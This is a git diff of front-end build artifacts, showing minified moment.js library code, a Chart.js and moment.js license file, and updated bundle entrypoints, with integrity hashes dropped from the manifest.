Rn(e,t){1===arguments.length&&(arguments[0]?Cn(arguments[0])?(e=arguments[0],t=void 0):In(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var a=e||qa(),n=hn(a,this).startOf("day"),r=i.calendarFormat(this,n)||"sameElse",s=t&&(H(t[r])?t[r].call(this,a):t[r]);return this.format(s||this.localeData().calendar(r,this,qa(a)))}function Vn(){return new k(this)}function Bn(e,t){var a=b(e)?e:qa(e);return!(!this.isValid()||!a.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()>a.valueOf():a.valueOf()<this.clone().startOf(t).valueOf())}function Jn(e,t){var a=b(e)?e:qa(e);return!(!this.isValid()||!a.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()<a.valueOf():this.clone().endOf(t).valueOf()<a.valueOf())}function Un(e,t,a,n){var i=b(e)?e:qa(e),r=b(t)?t:qa(t);return!!(this.isValid()&&i.isValid()&&r.isValid())&&("("===(n=n||"()")[0]?this.isAfter(i,a):!this.isBefore(i,a))&&(")"===n[1]?this.isBefore(r,a):!this.isAfter(r,a))}function Gn(e,t){var a,n=b(e)?e:qa(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()===n.valueOf():(a=n.valueOf(),this.clone().startOf(t).valueOf()<=a&&a<=this.clone().endOf(t).valueOf()))}function qn(e,t){return this.isSame(e,t)||this.isAfter(e,t)}function Kn(e,t){return this.isSame(e,t)||this.isBefore(e,t)}function Zn(e,t,a){var n,i,r;if(!this.isValid())return NaN;if(!(n=hn(e,this)).isValid())return NaN;switch(i=6e4*(n.utcOffset()-this.utcOffset()),t=ie(t)){case"year":r=$n(this,n)/12;break;case"month":r=$n(this,n);break;case"quarter":r=$n(this,n)/3;break;case"second":r=(this-n)/1e3;break;case"minute":r=(this-n)/6e4;break;case"hour":r=(this-n)/36e5;break;case"day":r=(this-n-i)/864e5;break;case"week":r=(this-n-i)/6048e5;break;default:r=this-n}return a?r:ue(r)}function $n(e,t){if(e.date()<t.date())return-$n(t,e);var a=12*(t.year()-e.year())+(t.month()-e.month()),n=e.clone().add(a,"months");return-(a+(t-n<0?(t-n)/(n-e.clone().add(a-1,"months")):(t-n)/(e.clone().add(a+1,"months")-n)))||0}function Xn(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")}function Qn(e){if(!this.isValid())return null;var t=!0!==e,a=t?this.clone().utc():this;return a.year()<0||a.year()>9999?B(a,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):H(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",B(a,"Z")):B(a,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")}function ei(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,a,n,i="moment",r="";return this.isLocal()||(i=0===this.utcOffset()?"moment.utc":"moment.parseZone",r="Z"),e="["+i+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",a="-MM-DD[T]HH:mm:ss.SSS",n=r+'[")]',this.format(e+t+a+n)}function ti(e){e||(e=this.isUtc()?i.defaultFormatUtc:i.defaultFormat);var t=B(this,e);return this.localeData().postformat(t)}function ai(e,t){return this.isValid()&&(b(e)&&e.isValid()||qa(e).isValid())?xn({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function ni(e){return this.from(qa(),e)}function ii(e,t){return this.isValid()&&(b(e)&&e.isValid()||qa(e).isValid())?xn({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function ri(e){return this.to(qa(),e)}function si(e){var t;return void 0===e?this._locale._abbr:(null!=(t=pa(e))&&(this._locale=t),this)}i.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",i.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var oi=w("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function di(){return this._locale}var li=1e3,ui=60*li,_i=60*ui,mi=3506328*_i;function hi(e,t){return(e%t+t)%t}function ci(e,t,a){return e<100&&e>=0?new Date(e+400,t,a)-mi:new Date(e,t,a).valueOf()}function fi(e,t,a){return e<100&&e>=0?Date.UTC(e+400,t,a)-mi:Date.UTC(e,t,a)}function Mi(e){var t,a;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(a=this._isUTC?fi:ci,e){case"year":t=a(this.year(),0,1);break;case"quarter":t=a(this.year(),this.month()-this.month()%3,1);break;case"month":t=a(this.year(),this.month(),1);break;case"week":t=a(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=a(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=a(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=hi(t+(this._isUTC?0:this.utcOffset()*ui),_i);break;case"minute":t=this._d.valueOf(),t-=hi(t,ui);break;case"second":t=this._d.valueOf(),t-=hi(t,li)}return this._d.setTime(t),i.updateOffset(this,!0),this}function pi(e){var t,a;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(a=this._isUTC?fi:ci,e){case"year":t=a(this.year()+1,0,1)-1;break;case"quarter":t=a(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=a(this.year(),this.month()+1,1)-1;break;case"week":t=a(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=a(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=a(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=_i-hi(t+(this._isUTC?0:this.utcOffset()*ui),_i)-1;break;case"minute":t=this._d.valueOf(),t+=ui-hi(t,ui)-1;break;case"second":t=this._d.valueOf(),t+=li-hi(t,li)-1}return this._d.setTime(t),i.updateOffset(this,!0),this}function gi(){return this._d.valueOf()-6e4*(this._offset||0)}function yi(){return Math.floor(this.valueOf()/1e3)}function Li(){return new Date(this.valueOf())}function Yi(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]}function vi(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}}function ki(){return this.isValid()?this.toISOString():null}function bi(){return g(this)}function Di(){return c({},p(this))}function wi(){return p(this).overflow}function Ti(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}}function xi(e,t){var a,n,r,s=this._eras||pa("en")._eras;for(a=0,n=s.length;a<n;++a){switch(typeof s[a].since){case"string":r=i(s[a].since).startOf("day"),s[a].since=r.valueOf()}switch(typeof s[a].until){case"undefined":s[a].until=1/0;break;case"string":r=i(s[a].until).startOf("day").valueOf(),s[a].until=r.valueOf()}}return s}function Si(e,t,a){var n,i,r,s,o,d=this.eras();for(e=e.toUpperCase(),n=0,i=d.length;n<i;++n)if(r=d[n].name.toUpperCase(),s=d[n].abbr.toUpperCase(),o=d[n].narrow.toUpperCase(),a)switch(t){case"N":case"NN":case"NNN":if(s===e)return d[n];break;case"NNNN":if(r===e)return d[n];break;case"NNNNN":if(o===e)return d[n]}else if([r,s,o].indexOf(e)>=0)return d[n]}function Hi(e,t){var a=e.since<=e.until?1:-1;return void 0===t?i(e.since).year():i(e.since).year()+(t-e.offset)*a}function ji(){var e,t,a,n=this.localeData().eras();for(e=0,t=n.length;e<t;++e){if(a=this.clone().startOf("day").valueOf(),n[e].since<=a&&a<=n[e].until)return n[e].name;if(n[e].until<=a&&a<=n[e].since)return n[e].name}return""}function Pi(){var e,t,a,n=this.localeData().eras();for(e=0,t=n.length;e<t;++e){if(a=this.clone().startOf("day").valueOf(),n[e].since<=a&&a<=n[e].until)return n[e].narrow;if(n[e].until<=a&&a<=n[e].since)return n[e].narrow}return""}function Oi(){var e,t,a,n=this.localeData().eras();for(e=0,t=n.length;e<t;++e){if(a=this.clone().startOf("day").valueOf(),n[e].since<=a&&a<=n[e].until)return n[e].abbr;if(n[e].until<=a&&a<=n[e].since)return n[e].abbr}return""}function Ai(){var e,t,a,n,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e)if(a=r[e].since<=r[e].until?1:-1,n=this.clone().startOf("day").valueOf(),r[e].since<=n&&n<=r[e].until||r[e].until<=n&&n<=r[e].since)return(this.year()-i(r[e].since).year())*a+r[e].offset;return this.year()}function Fi(e){return d(this,"_erasNameRegex")||Ri.call(this),e?this._erasNameRegex:this._erasRegex}function Wi(e){return d(this,"_erasAbbrRegex")||Ri.call(this),e?this._erasAbbrRegex:this._erasRegex}function Ci(e){return d(this,"_erasNarrowRegex")||Ri.call(this),e?this._erasNarrowRegex:this._erasRegex}function Ei(e,t){return t.erasAbbrRegex(e)}function zi(e,t){return t.erasNameRegex(e)}function Ii(e,t){return t.erasNarrowRegex(e)}function Ni(e,t){return t._eraYearOrdinalRegex||Se}function Ri(){var e,t,a=[],n=[],i=[],r=[],s=this.eras();for(e=0,t=s.length;e<t;++e)n.push(Ee(s[e].name)),a.push(Ee(s[e].abbr)),i.push(Ee(s[e].narrow)),r.push(Ee(s[e].name)),r.push(Ee(s[e].abbr)),r.push(Ee(s[e].narrow));this._erasRegex=new RegExp("^("+r.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+n.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+a.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+i.join("|")+")","i")}function Vi(e,t){N(0,[e,e.length],0,t)}function Bi(e){return Zi.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)}function Ji(e){return Zi.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)}function Ui(){return bt(this.year(),1,4)}function Gi(){return bt(this.isoWeekYear(),1,4)}function qi(){var e=this.localeData()._week;return bt(this.year(),e.dow,e.doy)}function Ki(){var e=this.localeData()._week;return bt(this.weekYear(),e.dow,e.doy)}function Zi(e,t,a,n,i){var r;return null==e?kt(this,n,i).year:(t>(r=bt(e,n,i))&&(t=r),$i.call(this,e,t,a,n,i))}function $i(e,t,a,n,i){var r=vt(e,t,a,n,i),s=Lt(r.year,0,r.dayOfYear);return this.year(s.getUTCFullYear()),this.month(s.getUTCMonth()),this.date(s.getUTCDate()),this}function Xi(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)}N("N",0,0,"eraAbbr"),N("NN",0,0,"eraAbbr"),N("NNN",0,0,"eraAbbr"),N("NNNN",0,0,"eraName"),N("NNNNN",0,0,"eraNarrow"),N("y",["y",1],"yo","eraYear"),N("y",["yy",2],0,"eraYear"),N("y",["yyy",3],0,"eraYear"),N("y",["yyyy",4],0,"eraYear"),Fe("N",Ei),Fe("NN",Ei),Fe("NNN",Ei),Fe("NNNN",zi),Fe("NNNNN",Ii),Ie(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,a,n){var i=a._locale.erasParse(e,n,a._strict);i?p(a).era=i:p(a).invalidEra=e})),Fe("y",Se),Fe("yy",Se),Fe("yyy",Se),Fe("yyyy",Se),Fe("yo",Ni),Ie(["y","yy","yyy","yyyy"],Be),Ie(["yo"],(function(e,t,a,n){var i;a._locale._eraYearOrdinalRegex&&(i=e.match(a._locale._eraYearOrdinalRegex)),a._locale.eraYearOrdinalParse?t[Be]=a._locale.eraYearOrdinalParse(e,i):t[Be]=parseInt(e,10)})),N(0,["gg",2],0,(function(){return this.weekYear()%100})),N(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),Vi("gggg","weekYear"),Vi("ggggg","weekYear"),Vi("GGGG","isoWeekYear"),Vi("GGGGG","isoWeekYear"),ne("weekYear","gg"),ne("isoWeekYear","GG"),oe("weekYear",1),oe("isoWeekYear",1),Fe("G",He),Fe("g",He),Fe("GG",ke,ye),Fe("gg",ke,ye),Fe("GGGG",Te,Ye),Fe("gggg",Te,Ye),Fe("GGGGG",xe,ve),Fe("ggggg",xe,ve),Ne(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,a,n){t[n.substr(0,2)]=_e(e)})),Ne(["gg","GG"],(function(e,t,a,n){t[n]=i.parseTwoDigitYear(e)})),N("Q",0,"Qo","quarter"),ne("quarter","Q"),oe("quarter",7),Fe("Q",ge),Ie("Q",(function(e,t){t[Je]=3*(_e(e)-1)})),N("D",["DD",2],"Do","date"),ne("date","D"),oe("date",9),Fe("D",ke),Fe("DD",ke,ye),Fe("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),Ie(["D","DD"],Ue),Ie("Do",(function(e,t){t[Ue]=_e(e.match(ke)[0])}));var Qi=me("Date",!0);function er(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")}N("DDD",["DDDD",3],"DDDo","dayOfYear"),ne("dayOfYear","DDD"),oe("dayOfYear",4),Fe("DDD",we),Fe("DDDD",Le),Ie(["DDD","DDDD"],(function(e,t,a){a._dayOfYear=_e(e)})),N("m",["mm",2],0,"minute"),ne("minute","m"),oe("minute",14),Fe("m",ke),Fe("mm",ke,ye),Ie(["m","mm"],qe);var tr=me("Minutes",!1);N("s",["ss",2],0,"second"),ne("second","s"),oe("second",15),Fe("s",ke),Fe("ss",ke,ye),Ie(["s","ss"],Ke);var ar,nr,ir=me("Seconds",!1);for(N("S",0,0,(function(){return~~(this.millisecond()/100)})),N(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),N(0,["SSS",3],0,"millisecond"),N(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),N(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),N(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),N(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),N(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),N(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),ne("millisecond","ms"),oe("millisecond",16),Fe("S",we,ge),Fe("SS",we,ye),Fe("SSS",we,Le),ar="SSSS";ar.length<=9;ar+="S")Fe(ar,Se);function rr(e,t){t[Ze]=_e(1e3*("0."+e))}for(ar="S";ar.length<=9;ar+="S")Ie(ar,rr);function sr(){return this._isUTC?"UTC":""}function or(){return this._isUTC?"Coordinated Universal Time":""}nr=me("Milliseconds",!1),N("z",0,0,"zoneAbbr"),N("zz",0,0,"zoneName");var dr=k.prototype;function lr(e){return qa(1e3*e)}function ur(){return qa.apply(null,arguments).parseZone()}function _r(e){return e}dr.add=An,dr.calendar=Rn,dr.clone=Vn,dr.diff=Zn,dr.endOf=pi,dr.format=ti,dr.from=ai,dr.fromNow=ni,dr.to=ii,dr.toNow=ri,dr.get=fe,dr.invalidAt=wi,dr.isAfter=Bn,dr.isBefore=Jn,dr.isBetween=Un,dr.isSame=Gn,dr.isSameOrAfter=qn,dr.isSameOrBefore=Kn,dr.isValid=bi,dr.lang=oi,dr.locale=si,dr.localeData=di,dr.max=Za,dr.min=Ka,dr.parsingFlags=Di,dr.set=Me,dr.startOf=Mi,dr.subtract=Fn,dr.toArray=Yi,dr.toObject=vi,dr.toDate=Li,dr.toISOString=Qn,dr.inspect=ei,"undefined"!=typeof Symbol&&null!=Symbol.for&&(dr[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),dr.toJSON=ki,dr.toString=Xn,dr.unix=yi,dr.valueOf=gi,dr.creationData=Ti,dr.eraName=ji,dr.eraNarrow=Pi,dr.eraAbbr=Oi,dr.eraYear=Ai,dr.year=pt,dr.isLeapYear=gt,dr.weekYear=Bi,dr.isoWeekYear=Ji,dr.quarter=dr.quarters=Xi,dr.month=_t,dr.daysInMonth=mt,dr.week=dr.weeks=St,dr.isoWeek=dr.isoWeeks=Ht,dr.weeksInYear=qi,dr.weeksInWeekYear=Ki,dr.isoWeeksInYear=Ui,dr.isoWeeksInISOWeekYear=Gi,dr.date=Qi,dr.day=dr.days=Jt,dr.weekday=Ut,dr.isoWeekday=Gt,dr.dayOfYear=er,dr.hour=dr.hours=ia,dr.minute=dr.minutes=tr,dr.second=dr.seconds=ir,dr.millisecond=dr.milliseconds=nr,dr.utcOffset=fn,dr.utc=pn,dr.local=gn,dr.parseZone=yn,dr.hasAlignedHourOffset=Ln,dr.isDST=Yn,dr.isLocal=kn,dr.isUtcOffset=bn,dr.isUtc=Dn,dr.isUTC=Dn,dr.zoneAbbr=sr,dr.zoneName=or,dr.dates=w("dates accessor is deprecated. Use date instead.",Qi),dr.months=w("months accessor is deprecated. Use month instead",_t),dr.years=w("years accessor is deprecated. Use year instead",pt),dr.zone=w("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",Mn),dr.isDSTShifted=w("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",vn);var mr=O.prototype;function hr(e,t,a,n){var i=pa(),r=f().set(n,t);return i[a](r,e)}function cr(e,t,a){if(_(e)&&(t=e,e=void 0),e=e||"",null!=t)return hr(e,t,a,"month");var n,i=[];for(n=0;n<12;n++)i[n]=hr(e,n,a,"month");return i}function fr(e,t,a,n){"boolean"==typeof e?(_(t)&&(a=t,t=void 0),t=t||""):(a=t=e,e=!1,_(t)&&(a=t,t=void 0),t=t||"");var i,r=pa(),s=e?r._week.dow:0,o=[];if(null!=a)return hr(t,(a+s)%7,n,"day");for(i=0;i<7;i++)o[i]=hr(t,(i+s)%7,n,"day");return o}function Mr(e,t){return cr(e,t,"months")}function pr(e,t){return cr(e,t,"monthsShort")}function gr(e,t,a){return fr(e,t,a,"weekdays")}function yr(e,t,a){return fr(e,t,a,"weekdaysShort")}function Lr(e,t,a){return fr(e,t,a,"weekdaysMin")}mr.calendar=F,mr.longDateFormat=G,mr.invalidDate=K,mr.ordinal=X,mr.preparse=_r,mr.postformat=_r,mr.relativeTime=ee,mr.pastFuture=te,mr.set=j,mr.eras=xi,mr.erasParse=Si,mr.erasConvertYear=Hi,mr.erasAbbrRegex=Wi,mr.erasNameRegex=Fi,mr.erasNarrowRegex=Ci,mr.months=st,mr.monthsShort=ot,mr.monthsParse=lt,mr.monthsRegex=ct,mr.monthsShortRegex=ht,mr.week=Dt,mr.firstDayOfYear=xt,mr.firstDayOfWeek=Tt,mr.weekdays=It,mr.weekdaysMin=Rt,mr.weekdaysShort=Nt,mr.weekdaysParse=Bt,mr.weekdaysRegex=qt,mr.weekdaysShortRegex=Kt,mr.weekdaysMinRegex=Zt,mr.isPM=aa,mr.meridiem=ra,ca("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===_e(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),i.lang=w("moment.lang is deprecated. Use moment.locale instead.",ca),i.langData=w("moment.langData is deprecated. Use moment.localeData instead.",pa);var Yr=Math.abs;function vr(){var e=this._data;return this._milliseconds=Yr(this._milliseconds),this._days=Yr(this._days),this._months=Yr(this._months),e.milliseconds=Yr(e.milliseconds),e.seconds=Yr(e.seconds),e.minutes=Yr(e.minutes),e.hours=Yr(e.hours),e.months=Yr(e.months),e.years=Yr(e.years),this}function kr(e,t,a,n){var i=xn(t,a);return e._milliseconds+=n*i._milliseconds,e._days+=n*i._days,e._months+=n*i._months,e._bubble()}function br(e,t){return kr(this,e,t,1)}function Dr(e,t){return kr(this,e,t,-1)}function wr(e){return e<0?Math.floor(e):Math.ceil(e)}function Tr(){var e,t,a,n,i,r=this._milliseconds,s=this._days,o=this._months,d=this._data;return r>=0&&s>=0&&o>=0||r<=0&&s<=0&&o<=0||(r+=864e5*wr(Sr(o)+s),s=0,o=0),d.milliseconds=r%1e3,e=ue(r/1e3),d.seconds=e%60,t=ue(e/60),d.minutes=t%60,a=ue(t/60),d.hours=a%24,s+=ue(a/24),o+=i=ue(xr(s)),s-=wr(Sr(i)),n=ue(o/12),o%=12,d.days=s,d.months=o,d.years=n,this}function xr(e){return 4800*e/146097}function Sr(e){return 146097*e/4800}function Hr(e){if(!this.isValid())return NaN;var t,a,n=this._milliseconds;if("month"===(e=ie(e))||"quarter"===e||"year"===e)switch(t=this._days+n/864e5,a=this._months+xr(t),e){case"month":return a;case"quarter":return a/3;case"year":return a/12}else switch(t=this._days+Math.round(Sr(this._months)),e){case"week":return t/7+n/6048e5;case"day":return t+n/864e5;case"hour":return 24*t+n/36e5;case"minute":return 1440*t+n/6e4;case"second":return 86400*t+n/1e3;case"millisecond":return Math.floor(864e5*t)+n;default:throw new Error("Unknown unit "+e)}}function jr(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*_e(this._months/12):NaN}function Pr(e){return function(){return this.as(e)}}var Or=Pr("ms"),Ar=Pr("s"),Fr=Pr("m"),Wr=Pr("h"),Cr=Pr("d"),Er=Pr("w"),zr=Pr("M"),Ir=Pr("Q"),Nr=Pr("y");function Rr(){return xn(this)}function Vr(e){return e=ie(e),this.isValid()?this[e+"s"]():NaN}function Br(e){return function(){return this.isValid()?this._data[e]:NaN}}var Jr=Br("milliseconds"),Ur=Br("seconds"),Gr=Br("minutes"),qr=Br("hours"),Kr=Br("days"),Zr=Br("months"),$r=Br("years");function Xr(){return ue(this.days()/7)}var Qr=Math.round,es={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};function ts(e,t,a,n,i){return i.relativeTime(t||1,!!a,e,n)}function as(e,t,a,n){var i=xn(e).abs(),r=Qr(i.as("s")),s=Qr(i.as("m")),o=Qr(i.as("h")),d=Qr(i.as("d")),l=Qr(i.as("M")),u=Qr(i.as("w")),_=Qr(i.as("y")),m=r<=a.ss&&["s",r]||r<a.s&&["ss",r]||s<=1&&["m"]||s<a.m&&["mm",s]||o<=1&&["h"]||o<a.h&&["hh",o]||d<=1&&["d"]||d<a.d&&["dd",d];return null!=a.w&&(m=m||u<=1&&["w"]||u<a.w&&["ww",u]),(m=m||l<=1&&["M"]||l<a.M&&["MM",l]||_<=1&&["y"]||["yy",_])[2]=t,m[3]=+e>0,m[4]=n,ts.apply(null,m)}function ns(e){return void 0===e?Qr:"function"==typeof e&&(Qr=e,!0)}function is(e,t){return void 0!==es[e]&&(void 0===t?es[e]:(es[e]=t,"s"===e&&(es.ss=t-1),!0))}function rs(e,t){if(!this.isValid())return this.localeData().invalidDate();var a,n,i=!1,r=es;return"object"==typeof e&&(t=e,e=!1),"boolean"==typeof e&&(i=e),"object"==typeof t&&(r=Object.assign({},es,t),null!=t.s&&null==t.ss&&(r.ss=t.s-1)),n=as(this,!i,r,a=this.localeData()),i&&(n=a.pastFuture(+this,n)),a.postformat(n)}var ss=Math.abs;function os(e){return(e>0)-(e<0)||+e}function ds(){if(!this.isValid())return this.localeData().invalidDate();var e,t,a,n,i,r,s,o,d=ss(this._milliseconds)/1e3,l=ss(this._days),u=ss(this._months),_=this.asSeconds();return _?(e=ue(d/60),t=ue(e/60),d%=60,e%=60,a=ue(u/12),u%=12,n=d?d.toFixed(3).replace(/\.?0+$/,""):"",i=_<0?"-":"",r=os(this._months)!==os(_)?"-":"",s=os(this._days)!==os(_)?"-":"",o=os(this._milliseconds)!==os(_)?"-":"",i+"P"+(a?r+a+"Y":"")+(u?r+u+"M":"")+(l?s+l+"D":"")+(t||e||d?"T":"")+(t?o+t+"H":"")+(e?o+e+"M":"")+(d?o+n+"S":"")):"P0D"}var ls=sn.prototype;return ls.isValid=nn,ls.abs=vr,ls.add=br,ls.subtract=Dr,ls.as=Hr,ls.asMilliseconds=Or,ls.asSeconds=Ar,ls.asMinutes=Fr,ls.asHours=Wr,ls.asDays=Cr,ls.asWeeks=Er,ls.asMonths=zr,ls.asQuarters=Ir,ls.asYears=Nr,ls.valueOf=jr,ls._bubble=Tr,ls.clone=Rr,ls.get=Vr,ls.milliseconds=Jr,ls.seconds=Ur,ls.minutes=Gr,ls.hours=qr,ls.days=Kr,ls.weeks=Xr,ls.months=Zr,ls.years=$r,ls.humanize=rs,ls.toISOString=ds,ls.toString=ds,ls.toJSON=ds,ls.locale=si,ls.localeData=di,ls.toIsoString=w("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",ds),ls.lang=oi,N("X",0,0,"unix"),N("x",0,0,"valueOf"),Fe("x",He),Fe("X",Oe),Ie("X",(function(e,t,a){a._d=new Date(1e3*parseFloat(e))})),Ie("x",(function(e,t,a){a._d=new Date(_e(e))})),i.version="2.29.1",r(qa),i.fn=dr,i.min=Xa,i.max=Qa,i.now=en,i.utc=f,i.unix=lr,i.months=Mr,i.isDate=m,i.locale=ca,i.invalid=y,i.duration=xn,i.isMoment=b,i.weekdays=gr,i.parseZone=ur,i.localeData=pa,i.isDuration=on,i.monthsShort=pr,i.weekdaysMin=Lr,i.defineLocale=fa,i.updateLocale=Ma,i.locales=ga,i.weekdaysShort=yr,i.normalizeUnits=ie,i.relativeTimeRounding=ns,i.relativeTimeThreshold=is,i.calendarFormat=Nn,i.prototype=dr,i.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},i}()}},function(e){"use strict";var t;t=3582,e(e.s=t)}]);
\ No newline at end of file
diff --git a/public/build/chart.e845e930.js.LICENSE.txt b/public/build/chart.e845e930.js.LICENSE.txt
new file mode 100644
index 0000000000..a11d3a1579
--- /dev/null
+++ b/public/build/chart.e845e930.js.LICENSE.txt
@@ -0,0 +1,10 @@
+/*!
+ * Chart.js v2.9.4
+ * https://www.chartjs.org
+ * (c) 2020 Chart.js Contributors
+ * Released under the MIT License
+ */
+
+//! moment.js
+
+//! moment.js locale configuration
diff --git a/public/build/entrypoints.json b/public/build/entrypoints.json
index 4448c7964a..9910976c64 100644
--- a/public/build/entrypoints.json
+++ b/public/build/entrypoints.json
@@ -2,66 +2,45 @@
   "entrypoints": {
     "app": {
       "js": [
-        "build/runtime.098eaae1.js",
-        "build/0.9ec1fb96.js",
-        "build/1.2890d91a.js",
-        "build/app.30cfcd45.js"
+        "build/runtime.b8e7bb04.js",
+        "build/app.e4243154.js"
       ],
       "css": [
-        "build/app.fb1d5bab.css"
+        "build/app.cf7b7f85.css"
       ]
     },
     "invoice": {
       "js": [
-        "build/runtime.098eaae1.js",
-        "build/invoice.74279541.js"
+        "build/runtime.b8e7bb04.js",
+        "build/invoice.19f36eca.js"
       ],
       "css": [
-        "build/invoice.13d8ef4e.css"
+        "build/invoice.ff32661a.css"
       ]
     },
     "invoice-pdf": {
       "js": [
-        "build/runtime.098eaae1.js",
-        "build/invoice-pdf.0efd7a97.js"
+        "build/runtime.b8e7bb04.js",
+        "build/invoice-pdf.0ce1f3ce.js"
       ],
       "css": [
-        "build/invoice-pdf.d79f186b.css"
+        "build/invoice-pdf.9a7468ef.css"
       ]
     },
     "chart": {
       "js": [
-        "build/runtime.098eaae1.js",
-        "build/0.9ec1fb96.js",
-        "build/2.42abdacc.js",
-        "build/chart.34d60a88.js"
+        "build/runtime.b8e7bb04.js",
+        "build/chart.e845e930.js"
       ]
     },
     "calendar": {
       "js": [
-        "build/runtime.098eaae1.js",
-        "build/0.9ec1fb96.js",
-        "build/1.2890d91a.js",
-        "build/calendar.070aab88.js"
+        "build/runtime.b8e7bb04.js",
+        "build/calendar.6260174b.js"
       ],
       "css": [
-        "build/calendar.1408f57e.css"
+        "build/calendar.25e7e872.css"
       ]
     }
-  },
-  "integrity": {
-    "build/runtime.098eaae1.js": "sha384-xNNrNinl64G3nCUrIskgSjU0mUXXCB9lj6XCSInBTwxSKXk8uTMafnLHtdWdIGtd",
-    "build/0.9ec1fb96.js": "sha384-1dI1TIwKkV71L1OH+DnDqaG1su73sfoXwMVzfTuAEIg0HgVImtDf01RtbASXV7yK",
-    "build/1.2890d91a.js": "sha384-r7OpYErcdJM7NmHiLm3n6J144cfkYc57YYAKn/QabksGh/Rd+tpcy6/kLwpVSD0b",
-    "build/app.30cfcd45.js": "sha384-tT3RXfRGKYPzUxfVgu8rQFENYmZhUJxF3KlVXSVwEXJy0T6fJJT5XcO5eVF7NLep",
-    "build/app.fb1d5bab.css": "sha384-b8s0budBJh3JWWMyOZ08KKAx/Ukl0GWMX/o5yD87UL5SAq5datSu8vuzTS0cnA6T",
-    "build/invoice.74279541.js": "sha384-2BXic5Sgorf2tXai6zSAN4wLY2dbg06L03/xMKW6itMcszvtnRArKzfBh6DNcF3f",
-    "build/invoice.13d8ef4e.css": "sha384-B6RN/wZJToSBCZk2JeLokIqWEhbh+Eb9arYbt9dM+YoC2Z6PnCeTwTqSGyexWWJh",
-    "build/invoice-pdf.0efd7a97.js": "sha384-bSdIeRCtEJiYYuc2reb0e5CpJ1Kbd1lQNEkElMTiq1SX0IINzdwJJYf6WnCcHrNC",
